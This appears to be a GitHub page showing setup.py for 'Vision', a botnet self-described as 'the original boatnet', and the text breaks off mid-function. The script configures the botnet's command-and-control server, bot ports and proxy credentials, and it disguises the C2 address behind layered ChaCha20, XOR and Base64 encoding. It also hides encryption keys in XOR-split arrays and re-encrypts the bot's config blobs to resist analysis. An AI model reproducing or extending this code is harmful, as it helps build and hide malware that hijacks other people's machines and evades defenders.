-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathsetup.py
More file actions
2404 lines (2024 loc) · 89.8 KB
/
Copy pathsetup.py
File metadata and controls
2404 lines (2024 loc) · 89.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
Vision - Interactive Setup Script
=======================================
Automates the complete setup process:
- Generates random protocol version and magic code
- Obfuscates server address using XOR+Base64
- Configures EZF3 encrypted transport
- Updates CNC and proxy agent source code
- Builds all components
Author: Syn2Much
"""
import json
import os
import sys
import re
import random
import string
import base64
import subprocess
import shutil
from datetime import datetime
# ANSI Colors
class Colors:
RESET = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
RED = "\033[31m"
GREEN = "\033[32m"
YELLOW = "\033[33m"
BLUE = "\033[34m"
MAGENTA = "\033[35m"
CYAN = "\033[36m"
WHITE = "\033[37m"
BRIGHT_RED = "\033[91m"
BRIGHT_GREEN = "\033[92m"
BRIGHT_YELLOW = "\033[93m"
BRIGHT_BLUE = "\033[94m"
BRIGHT_MAGENTA = "\033[95m"
BRIGHT_CYAN = "\033[96m"
BRIGHT_WHITE = "\033[97m"
def clear_screen():
os.system("clear" if os.name == "posix" else "cls")
def print_banner():
"""Print the setup banner"""
clear_screen()
banner = f"""
{Colors.BRIGHT_RED}{Colors.BOLD}
.o. .o8
.888. "888
.8"888. oooo d8b ooo. .oo. .oo. .oooo. .oooo888 .oooo.
.8' `888. `888""8P `888P"Y88bP"Y88b `P )88b d88' `888 `P )88b
.88ooo8888. 888 888 888 888 .oP"888 888 888 .oP"888
.8' `888. 888 888 888 888 d8( 888 888 888 d8( 888
o88o o8888o d888b o888o o888o o888o `Y888""8o `Y8bod88P" `Y888""8o
the original boatnet
{Colors.RESET}
{Colors.BRIGHT_CYAN} ═══════════════════════════════════════
{Colors.BRIGHT_YELLOW}Interactive Setup Wizard{Colors.BRIGHT_CYAN}
═══════════════════════════════════════{Colors.RESET}
"""
print(banner)
def print_step(step_num: int, total: int, title: str):
"""Print a step header"""
print(
f"\n{Colors.BRIGHT_CYAN}╔══════════════════════════════════════════════════════════╗{Colors.RESET}"
)
print(
f"{Colors.BRIGHT_CYAN}║{Colors.RESET} {Colors.BRIGHT_YELLOW}Step {step_num}/{total}:{Colors.RESET} {Colors.BRIGHT_WHITE}{title:<47}{Colors.RESET}{Colors.BRIGHT_CYAN}║{Colors.RESET}"
)
print(
f"{Colors.BRIGHT_CYAN}╚══════════════════════════════════════════════════════════╝{Colors.RESET}\n"
)
def success(msg: str):
print(f"{Colors.BRIGHT_GREEN}[✓]{Colors.RESET} {Colors.GREEN}{msg}{Colors.RESET}")
def error(msg: str):
print(f"{Colors.BRIGHT_RED}[✗]{Colors.RESET} {Colors.RED}{msg}{Colors.RESET}")
def info(msg: str):
print(f"{Colors.BRIGHT_BLUE}[i]{Colors.RESET} {Colors.BLUE}{msg}{Colors.RESET}")
def warning(msg: str):
print(f"{Colors.BRIGHT_YELLOW}[!]{Colors.RESET} {Colors.YELLOW}{msg}{Colors.RESET}")
def print_info_box(title: str, lines: list):
"""Print a styled information box"""
width = 62
print(f"\n{Colors.BRIGHT_BLUE}┌{'─' * width}┐{Colors.RESET}")
print(
f"{Colors.BRIGHT_BLUE}│{Colors.RESET} {Colors.BRIGHT_YELLOW}{title:<{width-1}}{Colors.RESET}{Colors.BRIGHT_BLUE}│{Colors.RESET}"
)
print(f"{Colors.BRIGHT_BLUE}├{'─' * width}┤{Colors.RESET}")
for line in lines:
# Handle empty lines
if not line:
print(
f"{Colors.BRIGHT_BLUE}│{Colors.RESET}{' ' * width}{Colors.BRIGHT_BLUE}│{Colors.RESET}"
)
else:
print(
f"{Colors.BRIGHT_BLUE}│{Colors.RESET} {line:<{width-1}}{Colors.BRIGHT_BLUE}│{Colors.RESET}"
)
print(f"{Colors.BRIGHT_BLUE}└{'─' * width}┘{Colors.RESET}\n")
def prompt(msg: str, default: str = None) -> str:
"""Get user input with styled prompt"""
if default:
display = f"{Colors.BRIGHT_MAGENTA}➜{Colors.RESET} {msg} [{Colors.DIM}{default}{Colors.RESET}]: "
else:
display = f"{Colors.BRIGHT_MAGENTA}➜{Colors.RESET} {msg}: "
value = input(display).strip()
return value if value else default
def confirm(msg: str, default: bool = True) -> bool:
"""Get yes/no confirmation"""
default_str = "Y/n" if default else "y/N"
response = (
input(f"{Colors.BRIGHT_YELLOW}?{Colors.RESET} {msg} [{default_str}]: ")
.strip()
.lower()
)
if not response:
return default
return response in ["y", "yes"]
def generate_magic_code(length: int = 16) -> str:
"""Generate a random magic code with mixed characters"""
chars = string.ascii_letters + string.digits + "!@#$%^&*"
return "".join(random.choice(chars) for _ in range(length))
def generate_protocol_version() -> str:
"""Generate a random protocol version"""
major = random.randint(1, 5)
minor = random.randint(0, 9)
patch = random.randint(0, 99)
formats = [
f"v{major}.{minor}",
f"v{major}.{minor}.{patch}",
f"proto{major}{minor}",
f"V{major}_{minor}",
f"r{major}.{minor}-stable",
]
return random.choice(formats)
def generate_crypt_seed() -> str:
"""Generate random 8-char hex seed for encryption"""
return "".join(random.choice("0123456789abcdef") for _ in range(8))
def derive_key_py(seed: str) -> bytes:
"""Python implementation of key derivation (must match C charizard()).
Uses SHA-256 and reads the 32-byte AES key from crypto.c dynamically."""
import hashlib
dk = garuda_key()
h = hashlib.sha256()
h.update(seed.encode())
h.update(dk)
# Add time-invariant entropy
entropy = bytearray([0xDE, 0xAD, 0xBE, 0xEF, 0xCA, 0xFE, 0xBA, 0xBE])
for i in range(len(entropy)):
entropy[i] ^= (len(seed) + i * 17) & 0xFF
h.update(bytes(entropy))
return h.digest()
# Legacy Pokemon function names — kept for reference / dga_predict.go compatibility
KEY_FUNC_NAMES = [
"mew", "mewtwo", "celebi", "jirachi", "shaymin", "phione",
"manaphy", "victini", "keldeo", "meloetta", "genesect",
"diancie", "hoopa", "volcanion", "magearna", "marshadow",
"zeraora", "meltan", "melmetal", "zarude", "calyrex",
"enamorus", "ogerpon", "terapagos", "pecharunt", "eternatus",
"kubfu", "urshifu", "glastrier", "spectrier", "regieleki", "regidrago",
]
# 32 function names for the independent ChaCha20 key
CHACHA_KEY_FUNC_NAMES = [
"entei", "raikou", "suicune", "lugia", "latias", "latios",
"kyogre", "groudon", "registeel", "regice", "regirock",
"uxie", "mesprit", "azelf", "heatran", "cresselia",
"zacian", "zamazenta", "regigigas", "giratina", "reshiram",
"zekrom", "landorus", "tornadus", "thundurus", "xerneas",
"yveltal", "zygarde", "cosmog", "cosmoem", "solgaleo", "lunala",
]
# Multi-op expression recipes: (inner_op, outer_op)
# Each function's recipe is determined by its index % 5
MULTI_OP_RECIPES = [
("+", "^"), # (A + B) ^ C
("^", "+"), # (A ^ B) + C
("^", "-"), # (A ^ B) - C
("-", "^"), # (A - B) ^ C
("*", "^"), # (A * B) ^ C
]
# Op codes for _kb() helper in crypto.go/dga_predict.go array literals
OP_CODES = {'+': '0', '^': '1', '-': '2', '*': '3'}
OP_FROM_CODE = {'0': '+', '1': '^', '2': '-', '3': '*'}
def eval_multi_op(a, op1, b, op2, c):
"""Evaluate (A op1 B) op2 C with byte arithmetic."""
ops = {
'+': lambda x, y: (x + y) & 0xFF,
'-': lambda x, y: (x - y) & 0xFF,
'*': lambda x, y: (x * y) & 0xFF,
'^': lambda x, y: x ^ y,
}
return ops[op2](ops[op1](a, b), c) & 0xFF
def solve_c_for_target(target, a, b, inner_op, outer_op):
"""Given target, a, b, and ops, compute c such that (a op1 b) op2 c == target."""
ops = {
'+': lambda x, y: (x + y) & 0xFF,
'-': lambda x, y: (x - y) & 0xFF,
'*': lambda x, y: (x * y) & 0xFF,
'^': lambda x, y: x ^ y,
}
inner = ops[inner_op](a, b)
# Solve: inner outer_op c == target
if outer_op == '^':
return inner ^ target
elif outer_op == '+':
return (target - inner) & 0xFF
elif outer_op == '-':
return (inner - target) & 0xFF
elif outer_op == '*':
# This is harder; just XOR fallback
return inner ^ target
return 0
def generate_multi_op_triple(target, index):
"""Generate (a, b, c, inner_op, outer_op) for a given target byte and function index."""
inner_op, outer_op = MULTI_OP_RECIPES[index % 5]
a = random.randint(1, 255)
b = random.randint(1, 255)
c = solve_c_for_target(target, a, b, inner_op, outer_op)
# Verify
assert eval_multi_op(a, inner_op, b, outer_op, c) == target, \
f"Multi-op verify failed: ({a} {inner_op} {b}) {outer_op} {c} != {target}"
return a, b, c, inner_op, outer_op
def _read_cpp_xor_array(content: str, name: str) -> bytes:
"""Read a 32-byte XOR-obfuscated array from C++ source (crypto.c).
Format: static uint8_t name[32] = { 0xAA,0xBB,... };"""
pat = rf'static uint8_t {name}\[32\]\s*=\s*\{{\s*(.*?)\s*\}};'
m = re.search(pat, content, re.DOTALL)
if not m:
return bytes(32) # all zeros if not found
hex_vals = re.findall(r'0x([0-9A-Fa-f]+)', m.group(1))
return bytes(int(h, 16) for h in hex_vals[:32])
def read_current_key_cpp(crypto_cpp_path: str) -> bytes:
"""Read the current 32-byte AES key from XOR arrays in bot/crypto.c.
real_key[i] = _rx0[i] ^ _rx1[i]"""
with open(crypto_cpp_path, "r") as f:
content = f.read()
stored = _read_cpp_xor_array(content, "_rx0")
mask = _read_cpp_xor_array(content, "_rx1")
return bytes(s ^ m for s, m in zip(stored, mask))
def read_current_chacha_key_cpp(crypto_cpp_path: str) -> bytes:
"""Read the current 32-byte ChaCha20 key from XOR arrays in bot/crypto.c."""
with open(crypto_cpp_path, "r") as f:
content = f.read()
stored = _read_cpp_xor_array(content, "_rx2")
mask = _read_cpp_xor_array(content, "_rx3")
return bytes(s ^ m for s, m in zip(stored, mask))
def garuda_key() -> bytes:
"""Return the raw 32-byte AES key. Reads from bot/crypto.c XOR arrays."""
base_path = os.path.dirname(os.path.abspath(__file__))
crypto_cpp = os.path.join(base_path, "bot", "crypto.c")
return read_current_key_cpp(crypto_cpp)
def generate_random_key():
"""Generate a random 32-byte key.
Returns (key_bytes, None) — triples no longer needed for C++ bot."""
key_bytes = os.urandom(32)
return key_bytes, None
# ============================================================================
# C++ BOT KEY PATCHING — patches XOR-obfuscated arrays in bot/crypto.c
# The C++ bot stores keys as: real_key[i] = stored[i] ^ mask[i]
# setup.py generates random mask, computes stored = key ^ mask, patches both
# ============================================================================
def patch_cpp_keys(crypto_cpp_path: str, aes_key: bytes, chacha_key: bytes):
"""Patch the XOR-obfuscated key arrays in the C++ bot's crypto.c.
For each key: generate random mask, compute stored = key ^ mask, write both."""
if not os.path.exists(crypto_cpp_path):
return # C++ bot not present, skip
with open(crypto_cpp_path, "r") as f:
content = f.read()
def format_array_bytes(data: bytes, per_line: int = 8) -> str:
"""Format bytes as C hex initializer lines."""
lines = []
for i in range(0, len(data), per_line):
chunk = data[i:i+per_line]
hex_vals = ",".join(f"0x{b:02X}" for b in chunk)
lines.append(f" {hex_vals},")
return "\n".join(lines)
def patch_array(content: str, sname: str, mname: str, key_bytes: bytes) -> str:
"""Replace a 32-byte array pair with XOR-obfuscated values."""
mask = os.urandom(32)
stored = bytes(k ^ m for k, m in zip(key_bytes, mask))
# Pattern: static uint8_t name[32] = { ... };
for name, data in [(sname, stored), (mname, mask)]:
# Match the array declaration with any hex content
pat = rf'(static uint8_t {name}\[32\] = \{{)\n(.*?)(// patched by setup\.py\n\}};)'
# Simpler: just match the 4 lines of hex values
pat = rf'(static uint8_t {name}\[32\] = \{{\n)' + \
r'((?: 0x[0-9A-Fa-f]+.*\n){4})' + \
r'(\};)'
new_lines = ""
for i in range(0, 32, 8):
chunk = data[i:i+8]
hex_vals = ",".join(f"0x{b:02X}" for b in chunk)
new_lines += f" {hex_vals}, // patched by setup.py\n"
content = re.sub(pat, rf'\g<1>{new_lines}\3', content)
return content
content = patch_array(content, "_rx0", "_rx1", aes_key)
content = patch_array(content, "_rx2", "_rx3", chacha_key)
with open(crypto_cpp_path, "w") as f:
f.write(content)
def encrypt_cpp_config_blobs(config_cpp_path: str, old_aes_key: bytes, new_aes_key: bytes,
old_chacha_key: bytes = None, new_chacha_key: bytes = None):
"""Re-encrypt hex blobs in config.c with dual-layer: ChaCha20-Poly1305 AEAD inner + AES-256-CTR outer.
Decryption tries formats in order (newest first):
1. AES-CTR outer + ChaCha20-Poly1305 AEAD inner (current format, tag-verified)
2. AES-CTR outer + plain ChaCha20 inner (legacy)
3. AES-CTR outer + old symmetric ChaCha20 inner (oldest)
If ALL decryption attempts fail, the blob is left unchanged and an error is printed.
This prevents silent corruption from key mismatches.
"""
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
if not os.path.exists(config_cpp_path):
return
with open(config_cpp_path, "r") as f:
content = f.read()
old_has_cc20 = old_chacha_key and any(b != 0 for b in old_chacha_key)
failed_blobs = []
pattern = r'(static const char\s*\*\s*raw_\w+\s*=\s*")([0-9a-fA-F]*)(";\s*)'
def replace_blob(m):
prefix = m.group(1)
hex_blob = m.group(2)
suffix = m.group(3)
if not hex_blob:
return m.group(0)
# Extract variable name for error reporting
name_m = re.search(r'raw_\w+', prefix)
blob_name = name_m.group(0) if name_m else "unknown"
plaintext = None
# Strip AES-CTR outer layer
try:
intermediate = aes_ctr_decrypt_with_key(hex_blob, old_aes_key)
except Exception as e:
failed_blobs.append((blob_name, f"AES outer decrypt failed: {e}"))
return m.group(0)
if old_has_cc20 and intermediate and len(intermediate) > 28:
# Strategy 1: Try ChaCha20-Poly1305 AEAD (current format)
# Format: nonce(12) || ciphertext || tag(16)
try:
nonce = intermediate[:12]
ct_tag = intermediate[12:]
aead = ChaCha20Poly1305(old_chacha_key)
plaintext = aead.decrypt(nonce, ct_tag, None)
except Exception:
pass
# Strategy 2: Try plain ChaCha20 with SHA256 key (legacy format)
if plaintext is None:
try:
pt = chacha20_decrypt(intermediate, old_chacha_key)
if pt and len(pt) > 0 and all(b < 128 for b in pt[:20]):
plaintext = pt
except Exception:
pass
# Strategy 3: Try old symmetric ChaCha20 with MD5 key (oldest format)
if plaintext is None:
try:
pt = chacha20_old_symmetric(intermediate, old_chacha_key)
if pt and len(pt) > 0 and all(b < 128 for b in pt[:20]):
plaintext = pt
except Exception:
pass
elif not old_has_cc20:
plaintext = intermediate
if plaintext is None:
failed_blobs.append((blob_name, "all decryption strategies failed — keys don't match blob"))
return m.group(0)
# Re-encrypt: ChaCha20-Poly1305 AEAD (inner) + AES-256-CTR (outer)
enc_cc20_key = new_chacha_key if new_chacha_key else old_chacha_key
nonce = os.urandom(12)
aead = ChaCha20Poly1305(enc_cc20_key)
inner = nonce + aead.encrypt(nonce, plaintext, None)
# AES-CTR outer
iv = os.urandom(16)
cipher = Cipher(algorithms.AES(new_aes_key), modes.CTR(iv))
encryptor = cipher.encryptor()
outer = encryptor.update(inner) + encryptor.finalize()
new_blob = (iv + outer).hex()
return prefix + new_blob + suffix
content = re.sub(pattern, replace_blob, content)
if failed_blobs:
print(f"\n{Colors.BRIGHT_RED} [CRITICAL] {len(failed_blobs)} config blob(s) could NOT be decrypted:{Colors.RESET}")
for name, reason in failed_blobs:
print(f" {Colors.RED}✗ {name}: {reason}{Colors.RESET}")
print(f" {Colors.YELLOW}Config blobs left unchanged to prevent corruption.{Colors.RESET}")
print(f" {Colors.YELLOW}Run setup.py without key rotation, or fix keys first.{Colors.RESET}")
return
with open(config_cpp_path, "w") as f:
f.write(content)
def aes_ctr_encrypt_with_key(plaintext_bytes: bytes, key: bytes) -> str:
"""AES-CTR encrypt, returns hex(IV || ciphertext)."""
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
iv = os.urandom(16)
cipher = Cipher(algorithms.AES(key), modes.CTR(iv))
encryptor = cipher.encryptor()
ct = encryptor.update(plaintext_bytes) + encryptor.finalize()
return (iv + ct).hex()
def aes_ctr_decrypt_with_key(hex_blob: str, key: bytes) -> bytes:
"""AES-CTR decrypt from hex(IV || ciphertext)."""
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
data = bytes.fromhex(hex_blob)
if len(data) <= 16:
return b""
iv = data[:16]
ct = data[16:]
cipher = Cipher(algorithms.AES(key), modes.CTR(iv))
decryptor = cipher.decryptor()
return decryptor.update(ct) + decryptor.finalize()
def encrypt_config_blobs(config_path: str, old_aes_key: bytes, new_aes_key: bytes,
old_chacha_key: bytes = None, new_chacha_key: bytes = None):
"""Re-encrypt all raw hex blobs in config.go with dual-layer AES+ChaCha20.
Decrypt: AES(old) → ChaCha20(old) → plaintext
Encrypt: plaintext → ChaCha20(new) → AES(new) → blob
Handles both legacy (MD5-based) and new (SHA-256, nonce-prepended) ChaCha20 formats.
"""
with open(config_path, "r") as f:
content = f.read()
# Check if old ChaCha20 key is non-zero (existing dual-layer blobs)
old_has_cc20 = old_chacha_key and any(b != 0 for b in old_chacha_key)
# Find all hex blob declarations: var rawXxx, _ = hex.DecodeString("...")
pattern = r'(var raw\w+, _ = hex\.DecodeString\(")([0-9a-fA-F]*)("\))'
def replace_blob(m):
prefix = m.group(1)
hex_blob = m.group(2)
suffix = m.group(3)
if not hex_blob:
return m.group(0) # skip empty blobs
# Decrypt old outer layer (AES)
plaintext = aes_ctr_decrypt_with_key(hex_blob, old_aes_key)
# Decrypt old inner layer (ChaCha20) if it existed
if old_has_cc20:
# Try new-style decrypt first (nonce-prepended SHA-256)
try:
pt = chacha20_decrypt(plaintext, old_chacha_key)
if pt and len(pt) > 0:
plaintext = pt
else:
raise ValueError("empty")
except Exception:
# Fall back to legacy MD5-based symmetric
plaintext = chacha20_old_symmetric(plaintext, old_chacha_key)
# Encrypt new inner layer (ChaCha20)
if new_chacha_key:
intermediate = chacha20_encrypt(plaintext, new_chacha_key)
else:
intermediate = plaintext
# Encrypt new outer layer (AES)
new_blob = aes_ctr_encrypt_with_key(intermediate, new_aes_key)
return prefix + new_blob + suffix
content = re.sub(pattern, replace_blob, content)
with open(config_path, "w") as f:
f.write(content)
def encrypt_config_blobs_c(config_path: str, old_aes_key: bytes, new_aes_key: bytes,
old_chacha_key: bytes = None, new_chacha_key: bytes = None):
"""Re-encrypt all raw hex blobs in config.c (C-style declarations).
Delegates to encrypt_cpp_config_blobs which handles all encryption formats."""
encrypt_cpp_config_blobs(config_path, old_aes_key, new_aes_key, old_chacha_key, new_chacha_key)
def dual_layer_encrypt(plaintext: str) -> str:
"""Dual-layer encrypt: ChaCha20-Poly1305 AEAD (inner) then AES-256-CTR (outer).
Two different keys, two different ciphers.
Returns hex string of AES_IV(16) || AES_CTR(AEAD_nonce(12) || ciphertext || tag(16))."""
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
base_path = os.path.dirname(os.path.abspath(__file__))
crypto_cpp = os.path.join(base_path, "bot", "crypto.c")
aes_key = garuda_key()
cc20_key = read_current_chacha_key_cpp(crypto_cpp)
# Inner layer: ChaCha20-Poly1305 AEAD
nonce = os.urandom(12)
aead = ChaCha20Poly1305(cc20_key)
inner = nonce + aead.encrypt(nonce, plaintext.encode(), None)
# Outer layer: AES-256-CTR
iv = os.urandom(16)
cipher = Cipher(algorithms.AES(aes_key), modes.CTR(iv))
encryptor = cipher.encryptor()
outer = encryptor.update(inner) + encryptor.finalize()
return (iv + outer).hex()
def chacha20_old_symmetric(data: bytes, key: bytes) -> bytes:
"""Old-style ChaCha20 with deterministic nonce (for decrypting legacy blobs).
Uses MD5-based key expansion — matches the OLD blastoise() before the upgrade."""
import hashlib
h1 = hashlib.md5(key).digest()
h2 = hashlib.md5(key + b"expand").digest()
chacha_key = h1 + h2
nonce = b'\x00\x00\x00\x00' + hashlib.md5(key + b"nonce").digest()[:12]
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
cipher = Cipher(algorithms.ChaCha20(chacha_key, nonce), mode=None)
enc = cipher.encryptor()
return enc.update(data) + enc.finalize()
def chacha20_encrypt(data: bytes, key: bytes) -> bytes:
"""ChaCha20 encrypt with random nonce (matches Go blastoise encrypt path).
Returns: 12-byte-nonce || ciphertext"""
import hashlib
# Derive 32-byte key via SHA-256 (matches Go sha256.Sum256)
chacha_key = hashlib.sha256(key).digest()
nonce = os.urandom(12)
# Python cryptography lib needs 16-byte initial value: 4-byte counter (0) + 12-byte nonce
initial_value = b'\x00\x00\x00\x00' + nonce
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
cipher = Cipher(algorithms.ChaCha20(chacha_key, initial_value), mode=None)
enc = cipher.encryptor()
ct = enc.update(data) + enc.finalize()
return nonce + ct
def chacha20_decrypt(data: bytes, key: bytes) -> bytes:
"""ChaCha20 decrypt — extract 12-byte nonce prefix, then decrypt."""
import hashlib
if len(data) <= 12:
return b""
chacha_key = hashlib.sha256(key).digest()
nonce = data[:12]
ct = data[12:]
initial_value = b'\x00\x00\x00\x00' + nonce
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
cipher = Cipher(algorithms.ChaCha20(chacha_key, initial_value), mode=None)
dec = cipher.decryptor()
return dec.update(ct) + dec.finalize()
def obfuscate_c2(c2_address: str, crypt_seed: str) -> str:
"""
C2 address obfuscation matching C venusaur() decoder:
1. Append 8-byte HMAC-SHA256 checksum (keyed)
2. ChaCha20 stream encrypt
3. XOR with derived key
4. Base64 encode
"""
import hashlib, hmac as hmac_mod
payload = c2_address.encode()
key = derive_key_py(crypt_seed)
# HMAC-SHA256 checksum (first 8 bytes, keyed with charizard-derived key)
mac = hmac_mod.new(key, payload, hashlib.sha256).digest()[:8]
data = payload + mac
# ChaCha20 stream encrypt
encrypted = chacha20_encrypt(data, key)
# XOR with rotating key
xored = bytearray(len(encrypted))
for i in range(len(encrypted)):
xored[i] = encrypted[i] ^ key[i % len(key)]
# Base64 encode
return base64.b64encode(bytes(xored)).decode()
def verify_obfuscation(encoded: str, crypt_seed: str, expected: str) -> bool:
"""Verify by simulating C venusaur() decoder"""
import hashlib, hmac as hmac_mod
try:
# Base64 decode
layer1 = base64.b64decode(encoded)
# XOR with rotating key
key = derive_key_py(crypt_seed)
layer2 = bytearray(len(layer1))
for i in range(len(layer1)):
layer2[i] = layer1[i] ^ key[i % len(key)]
# ChaCha20 decrypt
layer3 = chacha20_decrypt(bytes(layer2), key)
# Verify 8-byte HMAC checksum
if len(layer3) < 9:
return False
payload = bytes(layer3[:-8])
recv_hmac = bytes(layer3[-8:])
expected_hmac = hmac_mod.new(key, payload, hashlib.sha256).digest()[:8]
if recv_hmac != expected_hmac:
return False
return payload.decode() == expected
except Exception as e:
print(f"Verification error: {e}")
return False
def update_cnc_main_go(
cnc_path: str, magic_code: str, protocol_version: str, admin_port: str, c2_ports=None,
proxy_user=None, proxy_pass=None
):
"""Update the CNC main.go file with new values"""
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305 as CC20
main_go_path = os.path.join(cnc_path, "main.go")
with open(main_go_path, "r") as f:
content = f.read()
# --- Encrypt MAGIC_CODE with ChaCha20-Poly1305, XOR-split key ---
mc_real_key = os.urandom(32)
mc_mask = os.urandom(32)
mc_key0 = bytes(k ^ m for k, m in zip(mc_real_key, mc_mask))
mc_key1 = mc_mask
nonce = os.urandom(12)
aead = CC20(mc_real_key)
ct = nonce + aead.encrypt(nonce, magic_code.encode(), None)
mc_blob_hex = ct.hex()
def go_byte_array(b: bytes) -> str:
"""Format bytes as Go [32]byte{0xHH, ...}"""
elems = ", ".join(f"0x{x:02x}" for x in b)
return f"[32]byte{{{elems}}}"
content = re.sub(
r'_mcBlob\s*=\s*"[^"]*"',
f'_mcBlob = "{mc_blob_hex}"',
content,
)
content = re.sub(
r'_mcKey0\s*=\s*\[32\]byte\{[^}]*\}',
f'_mcKey0 = {go_byte_array(mc_key0)}',
content,
)
content = re.sub(
r'_mcKey1\s*=\s*\[32\]byte\{[^}]*\}',
f'_mcKey1 = {go_byte_array(mc_key1)}',
content,
)
# Update PROTOCOL_VERSION
content = re.sub(
r'PROTOCOL_VERSION\s*=\s*"[^"]*"',
lambda m: f'PROTOCOL_VERSION = "{protocol_version}"',
content,
)
# Update USER_SERVER_PORT
content = re.sub(
r'USER_SERVER_PORT\s*=\s*"[^"]*"',
lambda m: f'USER_SERVER_PORT = "{admin_port}"',
content,
)
# Update BOT_SERVER_PORTS (comma-separated list of ports)
if c2_ports:
ports_str = ",".join(c2_ports)
content = re.sub(
r'BOT_SERVER_PORTS?\s*=\s*"[^"]*"',
lambda m: f'BOT_SERVER_PORTS = "{ports_str}"',
content,
)
# Update default proxy credentials
if proxy_user is not None:
content = re.sub(
r'DEFAULT_PROXY_USER\s*=\s*"[^"]*"',
lambda m: f'DEFAULT_PROXY_USER = "{proxy_user}"',
content,
)
if proxy_pass is not None:
content = re.sub(
r'DEFAULT_PROXY_PASS\s*=\s*"[^"]*"',
lambda m: f'DEFAULT_PROXY_PASS = "{proxy_pass}"',
content,
)
with open(main_go_path, "w") as f:
f.write(content)
return True
def update_bot_debug_mode(bot_path: str, debug_enabled: bool) -> bool:
"""Update the verbose flag and DEBUG define for build.
g_verbose lives in ds.c (gated by #ifdef DEBUG), so we only need to
ensure the build passes -DDEBUG. tools/build.sh reads the DEBUG env
var; setup.py writes a small .debug marker so build.sh picks it up.
"""
ds_path = os.path.join(bot_path, "ds.c")
build_sh = os.path.join(os.path.dirname(bot_path), "tools", "build.sh")
marker = os.path.join(bot_path, ".debug")
try:
# Patch g_verbose default in ds.c (both the #ifdef and #else branches)
if os.path.exists(ds_path):
with open(ds_path, "r") as f:
content = f.read()
content = re.sub(
r'int g_verbose\s*=\s*[01]',
f'int g_verbose = {"1" if debug_enabled else "0"}',
content,
)
with open(ds_path, "w") as f:
f.write(content)
# Write/remove .debug marker so build.sh can check it
if debug_enabled:
with open(marker, "w") as f:
f.write("1\n")
else:
if os.path.exists(marker):
os.remove(marker)
